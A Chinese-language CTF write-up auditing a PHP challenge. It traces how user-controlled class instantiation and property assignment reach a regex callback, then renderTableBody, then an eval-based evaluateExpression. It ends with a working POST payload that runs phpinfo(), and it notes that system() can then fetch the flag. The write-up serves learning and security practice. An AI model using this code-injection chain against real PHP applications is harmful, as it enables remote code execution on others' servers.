是一道算不上太难的php代码审计题
不过当时做的时候还是暴漏出自己的很多问题 像竟然不会post传数组
打开题目拿到审计下源码
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}
new Action($action,$properties);
?>
这里有个 run()
函数可以触发,接着可以审计附件中的源码。
先去找这个 run()
函数,可以在 ListView.php
这个文件里发现
同时可以发现这几个类之间是继承的关系,所以在最后的 TestView.php
中可以使用上面文件中继承的类的属性和方法。执行 run() 函数后又执行 renderContent()
函数,那跳转到这个函数看一下
这个函数执行一个正则匹配(这里表示匹配 {}
及大括号里面的内容),当匹配到时则给回调函数去处理,template
是要匹配的字符串,第一个参数是匹配规则,中间的函数是回调函数(调用类中的函数的时是可以是使用数组的调用形式的,如上述的 array($this,'renderSection')
就是表示调用当前类中的renderSection函数 )。
来看看 renderSection
这个函数
拿到正则匹配好的字符串,$matchers[1] 表示匹配 {} 里面的内容,可以本地测试一下
如这串代码
<?php
class test {
function fun1($matches) {
echo $matches[0];
echo '</br>';
echo $matches[1];
}
}
$a = new test();
echo preg_replace_callback("/{(\w+)}/",array($a,'fun1'),"{123}");
最终输出结果
所以这里可以传一个参数,让它和字符串 render 拼接后形成一个全新的字符串,接着执行 $this->$method()
。这里是我们可以控制的,关键是找到以 render 开头且没有参数的函数。
找下可以利用的函数,可以发现有很多。不急,可以看看其它的,在 base.php
中发现了一个十分危险的函数
所以这个 evaluateExpression
函数是关键,那么结合上文的条件,我们就可以锁定这里的代码
TestView.php 中
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
if($this->rowCssClassExpression!==null)
{
$data=$this->dataProvider->data[$row];
$class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
}
elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
$class=$this->rowCssClass[$row%$n];
if(!empty($class))
{
if(isset($htmlOptions['class']))
$htmlOptions['class'].=' '.$class;
else
$htmlOptions['class']=$class;
}
}
public function renderTableBody()
{
$data=$this->data;
$n=count($data);
echo "<tbody>\n";
if($n>0)
{
for($row=0;$row<$n;++$row)
$this->renderTableRow($row);
}
else
{
echo '<tr><td colspan="'.count($this->columns).'" class="empty">';
echo "</td></tr>\n";
}
echo "</tbody>\n";
}
这里 renderTableBody
函数满足以字符串 render 开头,且无参数,还可以去调用 renderTableRow($row)
函数从而有办法去执行 evaluateExpression
函数,所以可以构造 template="{TableBody}"
。这里 data 参数应为一个数组可以构造 data=array(1)
。在 renderTableRow($row)
函数中,参数 rowHtmlOptionsExpression
为我们要在 eval 函数中的字符串。
回到一开始的代码
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}
new Action($action,$properties);
?>
参数 action 为要创建的对象,从上文分析可知所需改变的参数都在 TestView 这个类中,所以需要 new 一个TestView 对象,即 GET 传参 ?action=TestView
构造函数中使用for循环给 TestView 对象中的某些属性赋值,这里我们按照上文分析的那样给它赋值
注意这里传的参数是数组类型,传递数组的格式是 property[key]=vale
传递二维数组是两个[],以此类推
这些参数都可以通过post传参来控制,所以POST的payload:
properties[template]={TableBody}&properties[data][]=1&properties[rowHtmlOptionsExpression]=phpinfo()
结果
可以继续执行 system()
函数拿到flag。注意像 phpinfo() ,system() 这类的函数一般只要是执行了就会有会显的。
这次比赛还有道 phar反序列化+条件竞争的题,后面有时间再写。